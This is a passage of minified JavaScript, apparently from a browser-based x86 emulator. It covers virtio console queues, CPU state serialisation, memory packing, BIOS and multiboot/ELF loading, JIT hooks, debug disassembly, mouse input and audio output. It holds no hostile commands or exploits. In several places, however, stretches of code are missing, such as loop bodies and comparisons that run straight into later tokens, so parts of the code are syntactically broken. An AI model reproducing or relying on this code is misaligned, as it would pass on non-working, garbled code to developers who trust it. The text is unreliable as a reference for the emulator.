+5]=0;this.pci_space[b+6]=0;this.pci_space[b+7]=0;this.pci_space[b+8]=0;this.pci_space[b+9]=0;this.pci_space[b+10]=0;this.pci_space[b+11]=0;this.pci_space[b+12]=0;this.pci_space[b+13]=0;this.pci_space[b+14]=0;this.pci_space[b+15]=0;this.pci_space[b+16]=0;this.pci_space[b+17]=0;this.pci_space[b+18]=0;this.pci_space[b+19]=0}; +h.prototype.get_state=function(){let a=[];a[0]=this.device_feature_select;a[1]=this.driver_feature_select;a[2]=this.device_feature;a[3]=this.driver_feature;a[4]=this.features_ok;a[5]=this.device_status;a[6]=this.config_has_changed;a[7]=this.config_generation;a[8]=this.isr_status;a[9]=this.queue_select;return a=a.concat(this.queues)}; +h.prototype.set_state=function(a){this.device_feature_select=a[0];this.driver_feature_select=a[1];this.device_feature=a[2];this.driver_feature=a[3];this.features_ok=a[4];this.device_status=a[5];this.config_has_changed=a[6];this.config_generation=a[7];this.isr_status=a[8];this.queue_select=a[9];let b=0;for(let c of a.slice(10))this.queues[b].set_state(c),b++;this.queue_selected=this.queues[this.queue_select]||null}; +h.prototype.reset=function(){this.driver_feature_select=this.device_feature_select=0;this.driver_feature.set(this.device_feature);this.features_ok=!0;this.queue_select=this.device_status=0;this.queue_selected=this.queues[0];for(const a of this.queues)a.reset();this.config_has_changed=!1;this.config_generation=0;this.lower_irq()};h.prototype.notify_config_changes=function(){this.config_has_changed=!0;this.device_status&4&&this.raise_irq(2)}; +h.prototype.update_config_generation=function(){this.config_has_changed&&(this.config_generation++,this.config_generation&=255,this.config_has_changed=!1)};h.prototype.is_feature_negotiated=function(a){return 0<(this.driver_feature[a>>>5]&1<<(a&31))};h.prototype.needs_reset=function(){this.device_status|=64;this.device_status&4&&this.notify_config_changes()};h.prototype.raise_irq=function(a){A(a);this.isr_status|=a;this.pci.raise_irq(this.pci_id)}; +h.prototype.lower_irq=function(){this.isr_status=0;this.pci.lower_irq(this.pci_id)};function W(a,b,c){this.cpu=a;this.virtio=b;this.size_supported=this.size=c.size_supported;this.mask=this.size-1;this.enabled=!1;this.notify_offset=c.notify_offset;this.num_staged_replies=this.used_addr=this.avail_last_idx=this.avail_addr=this.desc_addr=0;this.reset()} +W.prototype.get_state=function(){const a=[];a[0]=this.size;a[1]=this.size_supported;a[2]=this.enabled;a[3]=this.notify_offset;a[4]=this.desc_addr;a[5]=this.avail_addr;a[6]=this.avail_last_idx;a[7]=this.used_addr;a[8]=this.num_staged_replies;return a}; +W.prototype.set_state=function(a){this.size=a[0];this.size_supported=a[1];this.enabled=a[2];this.notify_offset=a[3];this.desc_addr=a[4];this.avail_addr=a[5];this.avail_last_idx=a[6];this.used_addr=a[7];this.num_staged_replies=a[8];this.mask=this.size-1};W.prototype.reset=function(){this.enabled=!1;this.num_staged_replies=this.used_addr=this.avail_last_idx=this.avail_addr=this.desc_addr=0;this.set_size(this.size_supported)}; +W.prototype.is_configured=function(){return this.desc_addr&&this.avail_addr&&this.used_addr};W.prototype.enable=function(){this.is_configured();this.enabled=!0};W.prototype.set_size=function(a){this.size=a;this.mask=a-1};W.prototype.count_requests=function(){return this.avail_get_idx()-this.avail_last_idx&this.mask};W.prototype.has_request=function(){return(this.avail_get_idx()&this.mask)!==this.avail_last_idx}; +W.prototype.pop_request=function(){this.has_request();var a=this.avail_get_entry(this.avail_last_idx);a=new Va(this,a);this.avail_last_idx=this.avail_last_idx+1&this.mask;return a};W.prototype.push_reply=function(a){const b=this.used_get_idx()+this.num_staged_replies&this.mask;this.used_set_entry(b,a.head_idx,a.length_written);this.num_staged_replies++}; +W.prototype.flush_replies=function(){if(0!==this.num_staged_replies){var a=this.used_get_idx()+this.num_staged_replies&65535;this.used_set_idx(a);this.num_staged_replies=0;this.virtio.is_feature_negotiated(29)?(this.avail_get_used_event(),this.virtio.raise_irq(1)):~this.avail_get_flags()&1&&this.virtio.raise_irq(1)}};W.prototype.notify_me_after=function(a){a=this.avail_get_idx()+a&65535;this.used_set_avail_event(a)}; +W.prototype.get_descriptor=function(a,b){return{addr_low:this.cpu.read32s(a+16*b),addr_high:this.cpu.read32s(a+16*b+4),len:this.cpu.read32s(a+16*b+8),flags:this.cpu.read16(a+16*b+12),next:this.cpu.read16(a+16*b+14)}};W.prototype.avail_get_flags=function(){return this.cpu.read16(this.avail_addr)};W.prototype.avail_get_idx=function(){return this.cpu.read16(this.avail_addr+2)};W.prototype.avail_get_entry=function(a){return this.cpu.read16(this.avail_addr+4+2*a)}; +W.prototype.avail_get_used_event=function(){return this.cpu.read16(this.avail_addr+4+2*this.size)};W.prototype.used_get_flags=function(){return this.cpu.read16(this.used_addr)};W.prototype.used_set_flags=function(a){this.cpu.write16(this.used_addr,a)};W.prototype.used_get_idx=function(){return this.cpu.read16(this.used_addr+2)};W.prototype.used_set_idx=function(a){this.cpu.write16(this.used_addr+2,a)}; +W.prototype.used_set_entry=function(a,b,c){this.cpu.write32(this.used_addr+4+8*a,b);this.cpu.write32(this.used_addr+8+8*a,c)};W.prototype.used_set_avail_event=function(a){this.cpu.write16(this.used_addr+4+8*this.size,a)}; +function Va(a,b){this.cpu=a.cpu;this.virtio=a.virtio;this.head_idx=b;this.read_buffers=[];this.length_readable=this.read_buffer_offset=this.read_buffer_idx=0;this.write_buffers=[];this.length_writable=this.length_written=this.write_buffer_offset=this.write_buffer_idx=0;let c=a.desc_addr,d=0,e=a.size,g=!1;const f=this.virtio.is_feature_negotiated(28);do{const k=a.get_descriptor(c,b);A(k.addr_high,8);A(k.addr_low,8);A(k.len,8);A(k.flags,4);A(k.next,4);if(f&&k.flags&4)c=k.addr_low,d=b=0,e=k.len/16;else{if(k.flags& +2)g=!0,this.write_buffers.push(k),this.length_writable+=k.len;else{if(g)break;this.read_buffers.push(k);this.length_readable+=k.len}d++;if(d>e)break;if(k.flags&1)b=k.next;else break}}while(1)} +Va.prototype.get_next_blob=function(a){let b=0,c=a.length;for(;c&&this.read_buffer_idx!==this.read_buffers.length;){var d=this.read_buffers[this.read_buffer_idx];const e=d.addr_low+this.read_buffer_offset;d=d.len-this.read_buffer_offset;d>c?(d=c,this.read_buffer_offset+=c):(this.read_buffer_idx++,this.read_buffer_offset=0);a.set(this.cpu.read_blob(e,d),b);b+=d;c-=d}return b}; +Va.prototype.set_next_blob=function(a){let b=0,c=a.length;for(;c&&this.write_buffer_idx!==this.write_buffers.length;){var d=this.write_buffers[this.write_buffer_idx];const e=d.addr_low+this.write_buffer_offset;d=d.len-this.write_buffer_offset;d>c?(d=c,this.write_buffer_offset+=c):(this.write_buffer_idx++,this.write_buffer_offset=0);this.cpu.write_blob(a.subarray(b,b+d),e);b+=d;c-=d}this.length_written+=b;return b};function Wa(a,b){this.bus=b;this.rows=25;this.cols=80;this.ports=4;b=[{size_supported:16,notify_offset:0},{size_supported:16,notify_offset:1},{size_supported:16,notify_offset:2},{size_supported:16,notify_offset:3}];for(let c=1;c{}},notification:{initial_port:47360, +single_handler:!1,handlers:[c=>{for(c=this.virtio.queues[c];c.count_requests()>c.size-2;)c.pop_request()},c=>{let d=this.virtio.queues[c],e=3>1:0;for(;d.has_request();){const g=d.pop_request(),f=new Uint8Array(g.length_readable);g.get_next_blob(f);this.bus.send("virtio-console"+e+"-output-bytes",f);this.Ack(c,g)}},c=>{if(2==c)for(c=this.virtio.queues[c];c.count_requests()>c.size-2;)c.pop_request()},c=>{if(3==c)for(var d=this.virtio.queues[c];d.has_request();){var e=d.pop_request(),g=new Uint8Array(e.length_readable); +e.get_next_blob(g);var f=v.Unmarshall(["w","h","h"],g,{offset:0});g=f[0];f=f[1];this.Ack(c,e);switch(f){case 0:for(e=0;ethis.cols,write:()=>{}},{bytes:2,name:"rows",read:()=>this.rows, +write:()=>{}},{bytes:4,name:"max_nr_ports",read:()=>this.ports,write:()=>{}},{bytes:4,name:"emerg_wr",read:()=>0,write:()=>{}}]}});for(let c=0;cthis.wm.exports[c],b=c=>{const d=a(c);console.assert(d,"Missing import: "+c);return d};this.reset_cpu=b("reset_cpu");this.getiopl=b("getiopl");this.get_eflags=b("get_eflags");this.handle_irqs=b("handle_irqs");this.main_loop=b("main_loop");this.set_jit_config=b("set_jit_config");this.read8=b("read8");this.read16=b("read16");this.read32s=b("read32s");this.write8=b("write8");this.write16=b("write16");this.write32=b("write32");this.in_mapped_range=b("in_mapped_range"); +this.fpu_load_tag_word=b("fpu_load_tag_word");this.fpu_load_status_word=b("fpu_load_status_word");this.fpu_get_sti_f64=b("fpu_get_sti_f64");this.translate_address_system_read=b("translate_address_system_read_js");this.get_seg_cs=b("get_seg_cs");this.get_real_eip=b("get_real_eip");this.clear_tlb=b("clear_tlb");this.full_clear_tlb=b("full_clear_tlb");this.update_state_flags=b("update_state_flags");this.set_tsc=b("set_tsc");this.store_current_tsc=b("store_current_tsc");this.set_cpuid_level=b("set_cpuid_level"); +this.pic_set_irq=b("pic_set_irq");this.pic_clear_irq=b("pic_clear_irq");this.jit_clear_cache=b("jit_clear_cache_js");this.jit_dirty_cache=b("jit_dirty_cache");this.codegen_finalize_finished=b("codegen_finalize_finished");this.allocate_memory=b("allocate_memory");this.zero_memory=b("zero_memory");this.svga_allocate_memory=b("svga_allocate_memory");this.svga_allocate_dest_buffer=b("svga_allocate_dest_buffer");this.svga_fill_pixel_buffer=b("svga_fill_pixel_buffer");this.svga_mark_dirty=b("svga_mark_dirty"); +this.get_pic_addr_master=b("get_pic_addr_master");this.get_pic_addr_slave=b("get_pic_addr_slave");this.zstd_create_ctx=b("zstd_create_ctx");this.zstd_get_src_ptr=b("zstd_get_src_ptr");this.zstd_free_ctx=b("zstd_free_ctx");this.zstd_read=b("zstd_read");this.zstd_read_free=b("zstd_read_free");this.port20_read=b("port20_read");this.port21_read=b("port21_read");this.portA0_read=b("portA0_read");this.portA1_read=b("portA1_read");this.port20_write=b("port20_write");this.port21_write=b("port21_write");this.portA0_write= +b("portA0_write");this.portA1_write=b("portA1_write");this.port4D0_read=b("port4D0_read");this.port4D1_read=b("port4D1_read");this.port4D0_write=b("port4D0_write");this.port4D1_write=b("port4D1_write")};E.prototype.jit_force_generate=function(a){this.jit_force_generate_unsafe&&this.jit_force_generate_unsafe(a)};E.prototype.jit_clear_func=function(a){this.wm.wasm_table.set(a+1024,null)};E.prototype.jit_clear_all_funcs=function(){const a=this.wm.wasm_table;for(let b=0;900>b;b++)a.set(1024+b,null)}; +E.prototype.get_state=function(){var a=[];a[0]=this.memory_size[0];a[1]=this.segment_is_null;a[2]=this.segment_offsets;a[3]=this.segment_limits;a[4]=this.protected_mode[0];a[5]=this.idtr_offset[0];a[6]=this.idtr_size[0];a[7]=this.gdtr_offset[0];a[8]=this.gdtr_size[0];a[9]=this.page_fault[0];a[10]=this.cr;a[11]=this.cpl[0];a[13]=this.is_32[0];a[16]=this.stack_size_32[0];a[17]=this.in_hlt[0];a[18]=this.last_virt_eip[0];a[19]=this.eip_phys[0];a[22]=this.sysenter_cs[0];a[23]=this.sysenter_eip[0];a[24]= +this.sysenter_esp[0];a[25]=this.prefixes[0];a[26]=this.flags[0];a[27]=this.flags_changed[0];a[28]=this.last_op1[0];a[30]=this.last_op_size[0];a[37]=this.instruction_pointer[0];a[38]=this.previous_ip[0];a[39]=this.reg32;a[40]=this.sreg;a[41]=this.dreg;a[42]=this.reg_pdpte;this.store_current_tsc();a[43]=this.current_tsc;a[45]=this.devices.virtio_9p;a[46]=this.devices.apic;a[47]=this.devices.rtc;a[48]=this.devices.pci;a[49]=this.devices.dma;a[50]=this.devices.acpi;a[52]=this.devices.vga;a[53]=this.devices.ps2; +a[54]=this.devices.uart0;a[55]=this.devices.fdc;a[56]=this.devices.cdrom;a[57]=this.devices.hda;a[58]=this.devices.pit;a[59]=this.devices.net;a[60]=this.get_state_pic();a[61]=this.devices.sb16;a[62]=this.fw_value;a[63]=this.devices.ioapic;a[64]=this.tss_size_32[0];a[66]=this.reg_xmm32s;a[67]=this.fpu_st;a[68]=this.fpu_stack_empty[0];a[69]=this.fpu_stack_ptr[0];a[70]=this.fpu_control_word[0];a[71]=this.fpu_ip[0];a[72]=this.fpu_ip_selector[0];a[73]=this.fpu_dp[0];a[74]=this.fpu_dp_selector[0];a[75]= +this.fpu_opcode[0];const {packed_memory:b,bitmap:c}=this.pack_memory();a[77]=b;a[78]=new Uint8Array(c.get_buffer());a[79]=this.devices.uart1;a[80]=this.devices.uart2;a[81]=this.devices.uart3;a[82]=this.devices.virtio_console;return a}; +E.prototype.get_state_pic=function(){const a=new Uint8Array(this.wasm_memory.buffer,this.get_pic_addr_master(),13),b=new Uint8Array(this.wasm_memory.buffer,this.get_pic_addr_slave(),13),c=[],d=[];c[0]=a[0];c[1]=a[1];c[2]=a[2];c[3]=a[3];c[4]=a[4];c[5]=d;c[6]=a[6];c[7]=a[7];c[8]=a[8];c[9]=a[9];c[10]=a[10];c[11]=a[11];c[12]=a[12];d[0]=b[0];d[1]=b[1];d[2]=b[2];d[3]=b[3];d[4]=b[4];d[5]=null;d[6]=b[6];d[7]=b[7];d[8]=b[8];d[9]=b[9];d[10]=b[10];d[12]=b[12];d[12]=b[12];return c}; +E.prototype.set_state=function(a){this.memory_size[0]=a[0];this.mem8.length!==this.memory_size[0]&&console.warn("Note: Memory size mismatch. we="+this.mem8.length+" state="+this.memory_size[0]);this.segment_is_null.set(a[1]);this.segment_offsets.set(a[2]);this.segment_limits.set(a[3]);this.protected_mode[0]=a[4];this.idtr_offset[0]=a[5];this.idtr_size[0]=a[6];this.gdtr_offset[0]=a[7];this.gdtr_size[0]=a[8];this.page_fault[0]=a[9];this.cr.set(a[10]);this.cpl[0]=a[11];this.is_32[0]=a[13];this.stack_size_32[0]= +a[16];this.in_hlt[0]=a[17];this.last_virt_eip[0]=a[18];this.eip_phys[0]=a[19];this.sysenter_cs[0]=a[22];this.sysenter_eip[0]=a[23];this.sysenter_esp[0]=a[24];this.prefixes[0]=a[25];this.flags[0]=a[26];this.flags_changed[0]=a[27];this.last_op1[0]=a[28];this.last_op_size[0]=a[30];this.instruction_pointer[0]=a[37];this.previous_ip[0]=a[38];this.reg32.set(a[39]);this.sreg.set(a[40]);this.dreg.set(a[41]);a[42]&&this.reg_pdpte.set(a[42]);this.set_tsc(a[43][0],a[43][1]);this.devices.virtio_9p&&this.devices.virtio_9p.set_state(a[45]); +this.devices.apic&&this.devices.apic.set_state(a[46]);this.devices.rtc&&this.devices.rtc.set_state(a[47]);this.devices.pci&&this.devices.pci.set_state(a[48]);this.devices.dma&&this.devices.dma.set_state(a[49]);this.devices.acpi&&this.devices.acpi.set_state(a[50]);this.devices.vga&&this.devices.vga.set_state(a[52]);this.devices.ps2&&this.devices.ps2.set_state(a[53]);this.devices.uart0&&this.devices.uart0.set_state(a[54]);this.devices.fdc&&this.devices.fdc.set_state(a[55]);this.devices.cdrom&&this.devices.cdrom.set_state(a[56]); +this.devices.hda&&this.devices.hda.set_state(a[57]);this.devices.pit&&this.devices.pit.set_state(a[58]);this.devices.net&&this.devices.net.set_state(a[59]);this.set_state_pic(a[60]);this.devices.sb16&&this.devices.sb16.set_state(a[61]);this.devices.uart1&&this.devices.uart1.set_state(a[79]);this.devices.uart2&&this.devices.uart2.set_state(a[80]);this.devices.uart3&&this.devices.uart3.set_state(a[81]);this.devices.virtio_console&&this.devices.virtio_console.set_state(a[82]);this.fw_value=a[62];this.devices.ioapic&& +this.devices.ioapic.set_state(a[63]);this.tss_size_32[0]=a[64];this.reg_xmm32s.set(a[66]);this.fpu_st.set(a[67]);this.fpu_stack_empty[0]=a[68];this.fpu_stack_ptr[0]=a[69];this.fpu_control_word[0]=a[70];this.fpu_ip[0]=a[71];this.fpu_ip_selector[0]=a[72];this.fpu_dp[0]=a[73];this.fpu_dp_selector[0]=a[74];this.fpu_opcode[0]=a[75];const b=new r.Bitmap(a[78].buffer);this.unpack_memory(b,a[77]);this.update_state_flags();this.full_clear_tlb();this.jit_clear_cache()}; +E.prototype.set_state_pic=function(a){const b=new Uint8Array(this.wasm_memory.buffer,this.get_pic_addr_master(),13),c=new Uint8Array(this.wasm_memory.buffer,this.get_pic_addr_slave(),13);b[0]=a[0];b[1]=a[1];b[2]=a[2];b[3]=a[3];b[4]=a[4];const d=a[5];b[6]=a[6];b[7]=a[7];b[8]=a[8];b[9]=a[9];b[10]=a[10];b[11]=a[11];b[12]=a[12];c[0]=d[0];c[1]=d[1];c[2]=d[2];c[3]=d[3];c[4]=d[4];c[6]=d[6];c[7]=d[7];c[8]=d[8];c[9]=d[9];c[10]=d[10];c[12]=d[12];c[12]=d[12]}; +E.prototype.pack_memory=function(){var a=this.mem8.length>>12,b=[];for(var c=0;c>2,d+4096>>2);let e=!0;for(let g=0;g>12;let d=0;for(let g=0;ga?a=1048576:0>(a|0)&&(a=Math.pow(2,31)-131072);a=(a-1|131071)+1|0;console.assert(0===this.memory_size[0],"Expected uninitialised memory");this.memory_size[0]=a;const b=this.allocate_memory(a);this.mem8=r.view(Uint8Array,this.wasm_memory,b,a);this.mem32s=r.view(Uint32Array,this.wasm_memory,b,a>>2)};F.exportProperty(E.prototype,"create_memory",E.prototype.create_memory); +E.prototype.init=function(a,b){this.create_memory("number"===typeof a.memory_size?a.memory_size:67108864);a.disable_jit&&this.set_jit_config(0,1);a.cpuid_level&&this.set_cpuid_level(a.cpuid_level);this.acpi_enabled[0]=+a.acpi;this.reset_cpu();var c=new B(this);this.io=c;this.bios.main=a.bios;this.bios.vga=a.vga_bios;this.load_bios();if(a.bzimage){const e=Za(this.mem8,a.bzimage,a.initrd,a.cmdline||"");e&&this.option_roms.push(e)}c.register_read(179,this,function(){return 0});var d=0;c.register_read(146, +this,function(){return d});c.register_write(146,this,function(e){d=e});c.register_read(1297,this,function(){return this.fw_pointer>8|l<<8&65280}function k(l){return l<<24|l<<8&16711680|l>>8&65280|l>>>24}J("bios config port, index="+A(e));this.fw_pointer=0;if(0===e)this.fw_value=g(1431127377);else if(1===e)this.fw_value= +g(0);else if(3===e)this.fw_value=g(this.memory_size[0]);else if(5===e)this.fw_value=g(1);else if(15===e)this.fw_value=g(1);else if(13===e)this.fw_value=new Uint8Array(16);else if(25===e){e=new Int32Array(4+64*this.option_roms.length);const l=new Uint8Array(e.buffer);e[0]=k(this.option_roms.length);for(let m=0;m>2]=k(p.length);e[t+4>>2]=f(49152+m);for(let q=0;qe?this.fw_value=g(0):49152<=e&&e-49152a.byteLength){var d=new Int32Array(2048);(new Uint8Array(d.buffer)).set(new Uint8Array(a))}else d=new Int32Array(a,0,2048);for(var e=0;8192>e;e+=4){if(464367618===d[e>>2]){var g=d[e+4>>2];if(464367618+g+d[e+8>>2]|0)continue}else continue;J("Multiboot magic found, flags: "+A(g>>>0,8),2);var f=this;this.io.register_read(244,this,function(){return 0},function(){return 0},function(){var n=31860,p=0;if(c){p|=4;f.write32(31760,n);c+="\x00";var t= +(new TextEncoder).encode(c);f.write_blob(t,n);n+=t.length}if(g&2){p|=64;t=0;f.write32(31788,0);f.write32(31792,n);var q=0;var z=!1;for(let u=0;4294967296>u;u+=131072)z&&void 0!==f.memory_map_read8[u>>>17]?(f.write32(n,20),f.write32(n+4,q),f.write32(n+8,0),f.write32(n+12,u-q),f.write32(n+16,0),f.write32(n+20,1),n+=24,t+=24,z=!1):z||void 0!==f.memory_map_read8[u>>>17]||(q=u,z=!0);f.write32(31788,t)}f.write32(31744,p);t=p=0;if(g&65536){z=d[e+12>>2];p=d[e+16>>2];var w=d[e+20>>2];t=d[e+24>>2];q=d[e+28>> +2];A(z,8);A(p,8);A(w,8);A(t,8);A(q,8);z=new Uint8Array(a,e-(z-p),0===w?void 0:w-p);f.write_blob(z,p);p=q|0;t=Math.max(w,t)}else if(1179403647===d[0]){q=new DataView(a);let [u,I]=$a(q,ab);console.assert(52===I);console.assert(1179403647===u.magic,"Bad magic");console.assert(1===u.class,"Unimplemented: 64 bit elf");console.assert(1===u.data,"Unimplemented: big endian");console.assert(1===u.version0,"Bad version0");console.assert(2===u.type,"Unimplemented type");console.assert(1===u.version1,"Bad version1"); +console.assert(52===u.ehsize,"Bad header size");console.assert(32===u.phentsize,"Bad program header size");console.assert(40===u.shentsize,"Bad section header size");[p]=bb(new DataView(q.buffer,q.byteOffset+u.phoff,u.phentsize*u.phnum),cb,u.phnum);bb(new DataView(q.buffer,q.byteOffset+u.shoff,u.shentsize*u.shnum),gb,u.shnum);q=u;z=p;p=q.entry;for(w of z)0!==w.type&&(1===w.type?w.paddr+w.memszp&&(p=p-w.vaddr+w.paddr)):A(w.paddr):2===w.type||3===w.type||4===w.type||6===w.type||7===w.type||1685382480===w.type||1685382481===w.type||1685382482===w.type||1685382483===w.type||A(w.type))}b&&(f.write32(31764,1),f.write32(31768,n),w=t,0!==(w&4095)&&(w=(w&-4096)+4096),t=w+b.byteLength,f.write32(n,w),f.write32(n+4,t),f.write32(n+8,0),f.write32(n+12,0),f.write_blob(new Uint8Array(b),w));f.reg32[3]=31744;f.cr[0]=1;f.protected_mode[0]=1;f.flags[0]= +2;f.is_32[0]=1;f.stack_size_32[0]=1;for(n=0;6>n;n++)f.segment_is_null[n]=0,f.segment_offsets[n]=0,f.segment_limits[n]=4294967295,f.sreg[n]=45058;f.instruction_pointer[0]=f.get_seg_cs()+p|0;f.update_state_flags();f.debug.dump_state();f.debug.dump_regs();return 732803074});this.io.register_write_consecutive(244,this,function(n){console.log("Test exited with code "+A(n,2));throw"HALT";},function(){},function(){},function(){});for(let n=0;15>=n;n++){function p(t){A(n);A(t,2);t?this.device_raise_irq(n): +this.device_lower_irq(n)}this.io.register_write(8192+n,this,p,p,p)}const l=new Uint8Array(512);(new Uint16Array(l.buffer))[0]=43605;l[2]=1;var k=3;l[k++]=102;l[k++]=229;l[k++]=244;let m=l[k]=0;for(let n=0;n>4&240);a.cmos_write(61,c&255);a.cmos_write(21,128);a.cmos_write(22,2);c=0;1048576<=this.memory_size[0]&&(c=this.memory_size[0]-1048576>>10,c=Math.min(c,65535));a.cmos_write(23,c&255);a.cmos_write(24,c>>8&255);a.cmos_write(48,c&255);a.cmos_write(49,c>>8&255);c=0;16777216<=this.memory_size[0]&&(c=this.memory_size[0]-16777216>>16,c=Math.min(c,65535));a.cmos_write(52,c&255);a.cmos_write(53,c>>8&255);a.cmos_write(91,0);a.cmos_write(92, +0);a.cmos_write(93,0);a.cmos_write(20,47);a.cmos_write(95,0);b.fastboot&&a.cmos_write(63,1)}; +E.prototype.load_bios=function(){var a=this.bios.main,b=this.bios.vga;if(a){var c=new Uint8Array(a);this.write_blob(c,1048576-a.byteLength);if(b){var d=new Uint8Array(b);this.write_blob(d,786432);this.io.mmap_register(4272947200,1048576,function(e){e=e-4272947200|0;return e>>0,e>>>0);WebAssembly.instantiate(g,{e:this.jit_imports}).then(f=>{this.wm.wasm_table.set(a+1024,f.instance.exports.f);this.codegen_finalize_finished(a,b,c);this.test_hook_did_finalize_wasm&&this.test_hook_did_finalize_wasm(g)})};E.prototype.log_uncompiled_code=function(){};E.prototype.dump_function_code=function(){}; +E.prototype.run_hardware_timers=function(a,b){const c=this.devices.pit.timer(b,!1),d=this.devices.rtc.timer(b,!1);let e=100,g=100;a&&(e=this.devices.acpi.timer(b),g=this.devices.apic.timer(b));return Math.min(c,d,e,g)};E.prototype.device_raise_irq=function(a){this.pic_set_irq(a);this.devices.ioapic&&this.devices.ioapic.set_irq(a)};E.prototype.device_lower_irq=function(a){this.pic_clear_irq(a);this.devices.ioapic&&this.devices.ioapic.clear_irq(a)}; +"undefined"!==typeof window?window.CPU=E:"undefined"!==typeof module&&"undefined"!==typeof module.exports?module.exports.CPU=E:"function"===typeof importScripts&&(self.CPU=E);E.prototype.debug_init=function(){var a=this,b={};this.debug=b;b.init=function(){};b.get_regs_short=function(){};b.dump_regs=function(){};b.get_state=function(){};b.dump_state=function(){};b.dump_stack=function(){};b.dump_page_structures=function(){if(a.cr[4]&32)for(var g=0;4>g;g++)a.read32s(a.cr[3]+8*g)};b.dump_gdt_ldt=function(){};b.dump_idt=function(){};b.get_memory_dump=function(){};b.memory_hex_dump=function(){};b.used_memory_dump=function(){};b.debug_interrupt=function(){};let c,d;b.dump_code= +function(g,f,k){if(!d){if(void 0===c&&(c="function"===typeof require?require("./capstone-x86.min.js"):window.cs,void 0===c))return;d=[new c.Capstone(c.ARCH_X86,c.MODE_16),new c.Capstone(c.ARCH_X86,c.MODE_32)]}try{d[g].disasm(f,k).forEach(function(l){J(A(l.address>>>0)+": "+r.pads(l.bytes.map(m=>A(m,2).slice(-2)).join(" "),20)+" "+l.mnemonic+" "+l.op_str)})}catch(l){J("Could not disassemble: "+Array.from(f).map(m=>A(m,2)).join(" "))}};let e;b.dump_wasm=function(g){if(void 0===e&&(e="function"===typeof require? +require("./libwabt.js"):new window.WabtModule,void 0===e))return;g=g.slice();try{var f=e.readWasm(g,{readDebugNames:!1});f.generateNames();f.applyNames();f.toText({foldExprs:!0,inlineExport:!0})}catch(m){var k=new Blob([g]),l=document.createElement("a");l.download="failed.wasm";l.href=window.URL.createObjectURL(k);l.dataset.downloadurl=["application/octet-stream",l.download,l.href].join(":");l.click();window.URL.revokeObjectURL(l.src);console.log(m.toString())}finally{f&&f.destroy()}}};let hb=DataView.prototype,ib={size:1,get:hb.getUint8,set:hb.setUint8},jb={size:2,get:hb.getUint16,set:hb.setUint16},X={size:4,get:hb.getUint32,set:hb.setUint32},ab=kb([{magic:X},{class:ib},{data:ib},{version0:ib},{osabi:ib},{abiversion:ib},{pad0:function(a){return{size:a,get:()=>-1}}(7)},{type:jb},{machine:jb},{version1:X},{entry:X},{phoff:X},{shoff:X},{flags:X},{ehsize:jb},{phentsize:jb},{phnum:jb},{shentsize:jb},{shnum:jb},{shstrndx:jb}]);console.assert(52===ab.reduce((a,b)=>a+b.size,0)); +let cb=kb([{type:X},{offset:X},{vaddr:X},{paddr:X},{filesz:X},{memsz:X},{flags:X},{align:X}]);console.assert(32===cb.reduce((a,b)=>a+b.size,0));let gb=kb([{name:X},{type:X},{flags:X},{addr:X},{offset:X},{size:X},{link:X},{info:X},{addralign:X},{entsize:X}]);console.assert(40===gb.reduce((a,b)=>a+b.size,0));function kb(a){return a.map(function(b){var c=Object.keys(b);console.assert(1===c.length);c=c[0];b=b[c];console.assert(0 keyCode not found: ",z,q)}};function mb(a,b){function c(u){if(!w.enabled||!w.emu_enabled)return!1;var I=b||document.body,U;if(!(U=document.pointerLockElement))a:{for(u=u.target;u.parentNode;){if(u===I){U=!0;break a}u=u.parentNode}U=!1}return U}function d(u){c(u)&&(u=u.changedTouches)&&u.length&&(u=u[u.length-1],q=u.clientX,z=u.clientY)}function e(){if(n||t||p)w.bus.send("mouse-click",[!1,!1,!1]),n=t=p=!1}function g(u){if(w.bus&&c(u)&&w.is_running){var I=0,U=0,ea=u.changedTouches;ea?ea.length&&(ea=ea[ea.length-1],I=ea.clientX- +q,U=ea.clientY-z,q=ea.clientX,z=ea.clientY,u.preventDefault()):"number"===typeof u.movementX?(I=u.movementX,U=u.movementY):"number"===typeof u.webkitMovementX?(I=u.webkitMovementX,U=u.webkitMovementY):"number"===typeof u.mozMovementX?(I=u.mozMovementX,U=u.mozMovementY):(I=u.clientX-q,U=u.clientY-z,q=u.clientX,z=u.clientY);w.bus.send("mouse-delta",[.15*I,-(.15*U)]);b&&w.bus.send("mouse-absolute",[u.pageX-b.offsetLeft,u.pageY-b.offsetTop,b.offsetWidth,b.offsetHeight])}}function f(u){c(u)&&l(u,!0)}function k(u){c(u)&& +l(u,!1)}function l(u,I){w.bus&&(1===u.which?n=I:2===u.which?t=I:3===u.which&&(p=I),w.bus.send("mouse-click",[n,t,p]),u.preventDefault())}function m(u){if(c(u)){var I=u.wheelDelta||-u.detail;0>I?I=-1:0{switch(n.data.type){case "queue":m.queue_push(n.data.value);break;case "sampling-rate":m.source_samples_per_destination=n.data.value/sampleRate}};return m}var l=[new Float32Array(256),new Float32Array(256)];Reflect.setPrototypeOf(k.prototype,AudioWorkletProcessor.prototype);Reflect.setPrototypeOf(k,AudioWorkletProcessor);k.prototype.process=k.prototype.process=function(m,n){for(m=0;mm?(m+=this.source_buffer_previous[0].length,this.source_buffer_previous[n][m]):this.source_buffer_current[n][m]};k.prototype.ensure_enough_data=function(m){var n=this.source_buffer_current[0].length;n-this.source_block_start +this.queued_samples&&this.queue_length&&this.dbg_log("Not enough samples - should not happen during midway of playback");this.source_buffer_previous=this.source_buffer_current;this.source_buffer_current=this.queue_shift();var m=this.source_buffer_current[0].length;if(256>m){for(var n=this.queue_start,p=0;256>m&&pthis.queued_samples/this.source_samples_per_destination&&this.port.postMessage({type:"pump"})};k.prototype.queue_push=function(m){this.queue_length{URL.revokeObjectURL(g);this.node_processor=new AudioWorkletNode(this.audio_context,"dac-processor",{numberOfInputs:0,numberOfOutputs:1,outputChannelCount:[2],parameterData:{},processorOptions:{}});this.node_processor.port.postMessage({type:"sampling-rate",value:this.sampling_rate});this.node_processor.port.onmessage=f=>{switch(f.data.type){case "pump":this.pump()}};this.node_processor.connect(this.node_output)}); +this.mixer_connection=c.add_source(this.node_output,2);this.mixer_connection.set_gain_hidden(3);a.register("dac-send-data",function(f){this.queue(f)},this);a.register("dac-enable",function(){this.enabled=!0},this);a.register("dac-disable",function(){this.enabled=!1},this);a.register("dac-tell-sampling-rate",function(f){this.sampling_rate=f;this.node_processor&&this.node_processor.port.postMessage({type:"sampling-rate",value:f})},this)} +ob.prototype.queue=function(a){this.node_processor&&this.node_processor.port.postMessage({type:"queue",value:a},[a[0].buffer,a[1].buffer])};ob.prototype.pump=function(){this.enabled&&this.bus.send("dac-request-data")}; +function 